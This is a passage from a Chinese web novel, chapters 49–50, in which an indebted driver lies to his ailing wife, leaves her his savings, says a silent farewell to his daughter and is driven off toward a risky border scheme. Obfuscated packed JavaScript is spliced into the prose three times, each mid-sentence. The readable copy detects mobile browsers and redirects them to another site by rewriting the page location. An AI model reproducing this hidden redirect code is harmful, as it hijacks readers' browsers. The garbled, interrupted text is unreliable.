斌哥那条看似能快速来钱的“捷径”,再次带着魔鬼般的诱惑,在他黑暗的视野中浮现。五千块……虽然不够八千,但足以稳住龙哥,保住房子……代价是,他可能坠入另一个更加万劫不复的深渊。一边是立刻失去家园,妻女流落街头的惨状;一边是可能铤而走险,用灵魂和自由去换取一线生机。 这最后的期限,像一把烧红的烙铁,狠狠地烫在了张建设命运的十字路口。他必须做出选择,一个无论选择哪边,都可能带来毁灭性后果的选择。时间,只剩下滴答作响的七天。 龙哥最后通牒的电话,像一把淬毒的匕首,将张建设最后一点侥幸心理也彻底剜去。七天,八千块,抵房子。这三个冰冷的词组,在他脑海里搭建起一个即将坍塌的断头台。家,这个字眼从未如此具体而脆弱,具体到就是这间四面漏风、布满创伤的破屋,脆弱到只需龙哥一句话,就能将他们像垃圾一样清扫出去。 这一夜,他破天荒地没有出车。斌哥那边似乎也得到了消息,或者是刻意留给他最后权衡的时间,并没有来催促。一种暴风雨来临前死寂的平静,笼罩着这个摇摇欲坠的家。 夜深了。窗外没有月亮,只有城市边缘工地的探照灯余光,偶尔像濒死野兽的瞳孔,划过糊着旧报纸的窗户,在屋内投下短暂而扭曲的光影。寒气从门窗的缝隙里丝丝缕缕地渗进来,与屋内浓得化不开的中药味、以及某种类似绝望发酵的气息混合在一起,沉重得几乎能用手捧起。 李桂兰终于在一阵剧烈的、仿佛要将五脏六腑都咳出来的喘息后,精疲力尽地陷入了不安的昏睡。即使睡着,她的眉头也紧紧锁着,形成一个深刻的“川”字,干裂的嘴唇不时无声地翕动一下,象是仍在无声地哀求或呻吟。她的脸色在昏暗中呈现出一种灰败的蜡黄,呼吸微弱而急促,仿佛一盏油尽灯枯的残烛,随时可能被这屋里的死寂吹灭。 张小梅蜷缩在母亲身边,身上盖着那床硬邦邦的旧棉被。她似乎也睡得极不安稳,长长的睫毛不时颤动一下,小脸上还带着未干的泪痕。她怀里紧紧抱着那个崭新的《新华字典》和钢笔,仿佛那是她在这冰冷世界里唯一能抓住的、象征着知识与未来的浮木。 张建设没有睡。他甚至没有躺下。他就那么静静地坐在床头那张吱呀作响的旧板凳上,像一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他的手就那样悬停着,像一个绝望的问号,凝固在沉沉的夜色里。最终,他无力地、缓缓地收回了手,紧紧攥成了拳头,指甲再一次深深陷进掌心的旧伤,带来一阵尖锐的刺痛,这疼痛让他保持着最后一丝清醒。 他就这样静静地坐着,凝视着生命中最重要的两个人,仿佛要将她们的容颜,连同这间破屋里的一切——墙上残留的红漆污痕、空气中苦涩的药味、窗外偶尔划过的诡异光影——都深深地、刻骨铭心地烙印在灵魂深处。 时间在死寂中一分一秒地流逝,每一秒都象是通往那个最终抉择的、无法回避的台阶。七天倒计时,如同催命的鼓点,在他空洞的心房里沉重地敲响。他知道,天一亮,他就必须做出决定。一个将彻底改变他,也改变这个家庭命运的决定。 在这漫长而冰冷的凝视中,所有的挣扎、恐惧、不甘与无奈,都沉淀为一种近乎麻木的平静。那是一种被逼到极限后,反而异常清晰的认知——无论选择哪条路,他都注定要背负着沉重的十字架,走向一个被阴影笼罩的未来。唯一的区别在于,是拉着家人一起坠入深渊,还是独自一人,走向那条或许能为他们换来一线生机的、危险的独木桥。 49. 清晨的谎言 第一缕惨白的晨光,如同吝啬的施舍,艰难地穿透糊着旧报纸的窗户,将屋内的昏暗切割成模糊的光斑。寒气比深夜更重,凝结在墙壁上,形成一层薄薄的白霜。张建设维持着那个僵坐的姿势,仿佛在板凳上生根了一整夜,直到这光线将他眼底最后一点犹豫也彻底蒸发。 他缓缓站起身,骨骼发出艰涩的“咯吱”声,像一台即将散架的老旧机器开始了最后的运转。他没有开灯,就在这半明半暗的晨光里,开始动作。 他从墙角拎出那个印着“北春市第一机械厂”、边缘已经磨损发毛的旧帆布工具包。动作很轻,带着一种刻意的小心翼翼,仿佛怕惊醒什么,又仿佛这包里即将装下的,是某种见不得光的秽物。他往里面塞了几件最破旧、几乎看不出原本颜色的换洗衣物——这些衣服,即使丢了,或者沾染上什么不干净的东西,也不可惜。 窸窸窣窣的声响,还是惊动了浅眠的李桂兰。 她艰难地睁开沉重的眼皮,那双曾经明亮、如今只剩下浑浊与惊惧的眼睛,在昏暗中寻找着丈夫的身影。当她看到张建设正在收拾行囊时,整个身体猛地绷紧了,喉咙里发出急促的、“嗬嗬”的抽气声,象是被无形的手扼住了咽喉。她挣扎着想坐起来,枯瘦的手死死抓住床沿,指节泛白。 张建设听到动静,动作顿了一下,却没有立刻回头。他深吸了一口冰冷而污浊的空气,强迫自己转过身,脸上努力挤出一个极其僵硬、甚至有些扭曲的,试图安抚的笑容。那笑容比哭更难看。 他走到床边,俯下身,用尽可能“平静”的、却带着一丝不易察觉颤抖的声音说道: “桂兰,没事……别怕。”他避开妻子那仿佛能洞穿一切的目光,盯着她被子上一块洗得发白的补丁,“接到个……长途活儿。去南边,拉点货。来回……得十来天。” 他顿了顿,感觉自己的舌头像打了结,每一个字都说得异常艰难,却又不得不继续编织这个漏洞百出的谎言: “对方……给的钱多。跑完这一趟,能……能缓一大口气。” 李桂兰死死地盯着他,嘴唇剧烈地颤抖着,那双深陷的眼睛里,恐惧如同沸腾的水,几乎要满溢出来。她拼命地摇头,喉咙里挤出更加破碎、更加焦急的音节,一只手死死抓住张建设的胳膊,指甲几乎要掐进他的肉里。她想说“不要去”,想说“危险”,想说“你撒谎”!可她说不出来!只能通过那几乎要捏碎他骨头的力道和眼中汹涌的泪水,来表达她那撕心裂肺的阻止与哀求。 张建设不敢看她的眼睛,他怕自己再多看一眼,那好不容易积攒起来的、走向深渊的勇气就会瞬间崩溃。他用力掰开妻子冰冷而颤抖的手指,动作近乎粗暴,仿佛在挣脱一道将他拉回人间的枷锁。 “真的……就是跑趟车。”他重复着,声音干涩得象是砂纸在摩擦,“等我回来……等我回来就好了……” 这话与其说是安慰妻子,不如说是在麻痹自己。他猛地直起身,逃也似的避开了妻子那绝望的凝视,转身继续去收拾那个空荡荡的、却仿佛重逾千斤的行囊。 清晨的谎言,如同这屋子里弥漫的寒气,冰冷而黏稠地包裹着这对夫妻。一个用尽最后力气编织,一个用尽最后力气拆穿,却都无能为力。这谎言,是压垮骆驼的最后一根稻草,也是张建设踏上那条不归路前,为自己披上的、唯一一件能够暂时隔绝良知的、自欺欺人的外衣。 晨光又亮了些,冰冷地铺陈在屋内每一处不堪的细节上——墙上的污痕,地上的裂缝,空气中漂浮的尘埃和药味。张建设背对着床上依旧在无声流泪、用目光死死抓着他的妻子,动作僵硬地走到那个黑黢黢的米缸前。 他蹲下身,伸手进去,不是掏米,而是摸索到缸底最深处,那个用厚实洗衣粉塑料袋层层包裹的、藏着他这一个月开夜班出租车攒下的所有“保命钱”的地方。塑料袋被米粒摩擦得沙沙作响,在这死寂的清晨格外刺耳。 他把它掏出来,没有立刻打开,而是紧紧攥在手里,仿佛攥着一块冰,又象是攥着一团火。那里面是他熬了无数个通宵,忍受了无数白眼和刁难,一点一滴积攒下来的血汗钱,是他原本打算用来应对龙哥、延缓房子被夺的微薄希望。 现在,他要走了,走上一条吉凶未卜、甚至可能是一条绝路。他必须给她们留下点什么。 他蹲在冰冷的米缸旁,小心翼翼地剥开层层塑料袋,露出里面那叠皱巴巴、散发着汗味和烟草气息的纸币。最大面额是十元,更多的是五元、两元,甚至还有不少一毛两毛的毛票,厚厚的一叠,诉说着挣来的不易。 他伸出那双布满老茧和裂口的手指,开始数。动作很慢,很专注,仿佛在进行一个极其重要的仪式。一张,两张,三张……他的手指因为寒冷和内心的挣扎而微微颤抖。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743084|189737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最终,他将那叠钱分成了两部分。一大部分,他重新用塑料袋仔细包好,动作轻柔得象是怕惊扰了里面的钱。然后,他站起身,走到床边。 李桂兰依旧死死地盯着他,眼神里的恐惧几乎化为了实质的刀刃。 张建设避开了她的目光,俯下身,将那个装着家里几乎所有积蓄的塑料袋,动作极其轻柔地、塞进了妻子枕头底下,那个她之前藏女儿买的人参蜂王浆的地方。他甚至还用手在外面按了按,确保它被枕头完全覆盖,不会轻易被人发现。 “钱……放在这儿了。”他低声说,声音干涩,“桂兰,你……收好。” 做完这一切,他看着手里剩下的那极少的一部分——仅仅够买一张最便宜的长途车票和勉强支撑几天最简陋吃食的数目。他把这几张零票,胡乱塞进了自己外套的内侧口袋,紧贴着胸口,那单薄的触感让他感到一阵寒意。 他再次走到那个旧五斗柜前,从抽屉里翻找出半张不知从哪里撕下来的、边缘粗糙的废纸,还有一支快没水的圆珠笔。他靠着柜子,弯下腰,就着昏暗的光线,开始写信。笔尖在纸上划动,发出沙沙的、断续的声音,象是垂死之人的最后喘息。 信很短,只有寥寥几行字。字迹歪歪扭扭,却带着一种孤注一掷的沉重: “桂兰:” “照顾好自己和女儿。” (墨水在这里停顿了一下,洇开一个小点) “等我回来。”没有解释,没有承诺,只有这最后四个字,象是一个虚无的锚点,试图拴住这即将倾覆的家庭,也试图给他自己一个必须“回来”的理由。 他把信纸折了两折,走回床边,将它压在了那个藏钱的枕头下面,只露出一个小小的角。 他不敢再看妻子的眼睛,不敢去解读那里面是绝望、是愤怒、还是彻底的崩溃。他猛地转过身,拎起那个轻飘飘的、只装着几件破衣服的帆布包,象是逃离瘟疫现场一样,脚步踉跄却又异常决绝地,冲出了这个家。 门在他身后“哐当”一声关上,震落了门框上一些陈年的灰尘。 屋内,只剩下李桂兰一个人,和她枕头下那叠沉甸甸的、沾着丈夫体温与绝望气味的钱,以及那张薄薄的、写着“等我回来”的、如同谶语般的纸条。那笔钱,是他能留给她的全部;而那四个字,是她不敢深思、却又不得不抓住的,唯一的、飘摇的指望。 50. 与女儿的告别 拎起那个轻飘飘却又重逾千斤的帆布包,张建设最后看了一眼床上被绝望钉住的妻子,狠心扭过头,脚步虚浮地迈向门口。就在他的手即将触碰到那扇布满伤痕的门板时,他的脚步猛地顿住了,象是被一道无形的锁链绊住。 他的目光,无法控制地投向布帘隔开的角落——女儿张小梅睡着的那个用木板和砖头搭成的简易床铺。 他几乎忘了……或者说,他一直在刻意逃避这最后的告别。他犹豫着,最终还是拖着脚步,悄无声息地挪到了女儿的床前。 张小梅侧身蜷缩着,身上盖着那床又薄又硬的旧棉被,边缘已经露出了发黑的棉絮。她的小脸陷在枕头里,比平时更加苍白,即使在睡梦中,那秀气的眉头也微微蹙着,仿佛承载着这个年龄不该有的沉重。长长的睫毛湿漉漉地黏在一起,眼角还残留着一道清晰的、已经半干的泪痕。她的一只小手露在外面,紧紧攥着被角,指节因为用力而有些发白。 她睡得很不安稳,呼吸轻微而急促,偶尔会从喉咙里发出一声极细微的、如同受伤小动物般的抽泣。是因为昨晚听到了父母压抑的争执?还是因为那笼罩在这个家上空、连孩子都无法忽略的、名为“债务”和“疾病”的阴云? 张建设的心象是被一只冰冷的手狠狠攥紧,痛得他几乎弯下腰去。这个曾经会扑进他怀里、叽叽喳喳说着学校趣事的小女儿,如今在睡梦中都不得安宁。他这个父亲,做得何等失败! 他缓缓地、极其缓慢地蹲下身,蹲在女儿的床前。帆布包从他无力的手中滑落,掉在冰冷的水泥地上,发出一声轻微的闷响,但他浑然不觉。 他就这样静静地看着女儿,仿佛要将这张稚嫩却写满忧愁的小脸,深深地刻进自己的灵魂里,带到那个未知的、可能充满危险的远方去。 过了许久,他终于鼓起勇气,或者说,是被一种诀别的冲动驱使着。他伸出那双粗糙、布满老茧和裂口的大手,动作轻柔得象是怕碰碎一件稀世珍宝。他用手掌,极其笨拙地、小心翼翼地,拂开女儿额前被汗水濡湿的碎发。 然后,他俯下身,将自己干裂、带着一夜未眠的苦涩和烟草气息的嘴唇,轻轻地、如同羽毛拂过般,印在了女儿冰凉的额头上。 这是一个迟来的吻。从他南下归来,陷入这一连串的噩梦之后,这是他第一次亲吻女儿。心中充满了难以言喻的诀别的悲凉,以及一种几乎要将他淹没的、深沉的愧疚。 在嘴唇触碰到女儿皮肤的瞬间,他清晰地感觉到,女儿那纤细的身体几不可察地、猛地绷紧了一下!那长长的、湿漉漉的睫毛也剧烈地颤动起来,仿佛随时会睁开。 她没有醒。或者说,她不敢醒。她或许在装睡。或许在父亲靠近时就已经惊醒,却敏感地察觉到了那弥漫在空气中的、不同寻常的绝望和离别的气息。她选择了沉默,选择了用这种无声的方式,承受着父亲的告别,也掩藏着自己内心的恐惧与不舍。 张建设维持着那个俯身的姿势,停顿了几秒。他能感觉到女儿那强装平稳、却依旧泄露出一丝颤抖的呼吸,吹拂在他的脖颈上,带着孩童特有的、微弱的暖意。 最终,他象是用尽了全身的力气,猛地直起身,不敢再看女儿一眼。他一把抓起地上的帆布包,几乎是踉跄着,头也不回地冲出了家门,冲进了门外那灰蒙蒙的、充满未知与危险的晨曦之中。 在他身后,门关上的那一刻,床上的张小梅终于睁开了眼睛。那双大眼睛里,没有刚睡醒的朦胧,只有一片清醒的、浓得化不开的恐惧和泪水。她死死咬住自己的下唇,不让自己哭出声来,只有小小的肩膀,在冰冷的空气中,无法控制地、剧烈地颤抖起来。父亲那个冰冷的、带着绝望气息的吻,像一块沉重的寒冰,烙在了她的额头上,也烙在了她稚嫩的心上。 张建设几乎是跌撞着冲下昏暗的楼梯,筒子楼里早起邻居投来的或好奇、或麻木、或带着一丝了然与鄙夷的目光,像针一样扎在他的背上。他死死低着头,不敢与任何人对视,只想尽快逃离这片令人窒息的、充满了他失败印记的土地。 刚冲出单元门,一股混合着煤灰和清晨寒气的冷风扑面而来,让他不由自主地打了个寒颤。就在他茫然四顾,不知该往哪个方向去履行那个与魔鬼的约定时,一阵短促而低沉的汽车喇叭声在他侧前方响起。 他循声望去,心脏猛地一缩。就在巷子口那棵叶子落尽、枝桠狰狞的老槐树下,停着一辆半新的、与周围破败环境格格不入的黑色桑塔纳轿车。车窗贴着深色的膜,看不清里面,但张建设几乎立刻就能确定,那是林晓的车。 果然,副驾驶的车窗无声地降下了一半,露出了林晓那张妆容精致、却毫无表情的脸。她今天穿了一件黑色的高领毛衣,衬得脸色有些过分的白,嘴唇上涂着暗红色的口红,像刚刚凝固的血。她没有看张建设,目光直视着前方被垃圾和污水弄脏的巷子路面,只是用眼神示意了一下车门的方向。 张建设僵在原地,一股混杂着屈辱、难堪和一丝被看穿狼狈的愤怒,瞬间涌了上来。他不想上这辆车,不想再与这个代表着另一个肮脏世界的女人有任何瓜葛,更不想让她看到自己此刻如同丧家之犬般的模样。 可是,他有得选吗?斌哥指定的集合点,需要人带路。林晓,就是那个引路人。 他死死攥着帆布包的带子,指节因为用力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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张建设僵硬地坐着,目光死死盯着前方不断掠过的、熟悉又陌生的街景——那些匆匆赶路的上班族,那些冒着热气、他却永远舍不得买一份的早餐摊,那些象征着秩序与光明的警察岗亭……这一切,都仿佛在加速离他远去。他感觉自己正被这辆黑色的车,带离正常的世界,驶向一个无法回头的黑暗漩涡。 他用眼角的余光,能瞥见林晓专注开车的侧脸。她的下巴微微扬起,带着一种习惯性的、或许也是自我保护式的倨傲,但紧抿的嘴唇和偶尔因路面颠簸而微微蹙起的眉头,还是泄露了她内心的不平静。她握着方向盘的手指,纤细,涂着和口红同色的蔻丹,却也用力到骨节微微发白。 她知不知道她正在送他去干什么?她在这桩“生意”里,扮演的又是什么角色?仅仅是一个司机?一个传话人?还是……更深地卷入其中? 张建设不敢想,也不愿去想。他只知道,此刻坐在他身边的这个女人,和他一样,都是被命运摆弄、在泥潭里挣扎的可怜虫,区别只在于挣扎的方式不同而已。 车内只有香烟燃烧的细微噼啪声,和发动机低沉的嗡鸣。这沉默,比任何言语都更加沉重,充满了彼此心照不宣的绝望和一条道走到黑的决绝。林晓的车,载着他,也载着两人各自无法言说的秘密与重负,驶向了那个决定命运的集合点,驶向了那片未知的、凶险的边境阴云。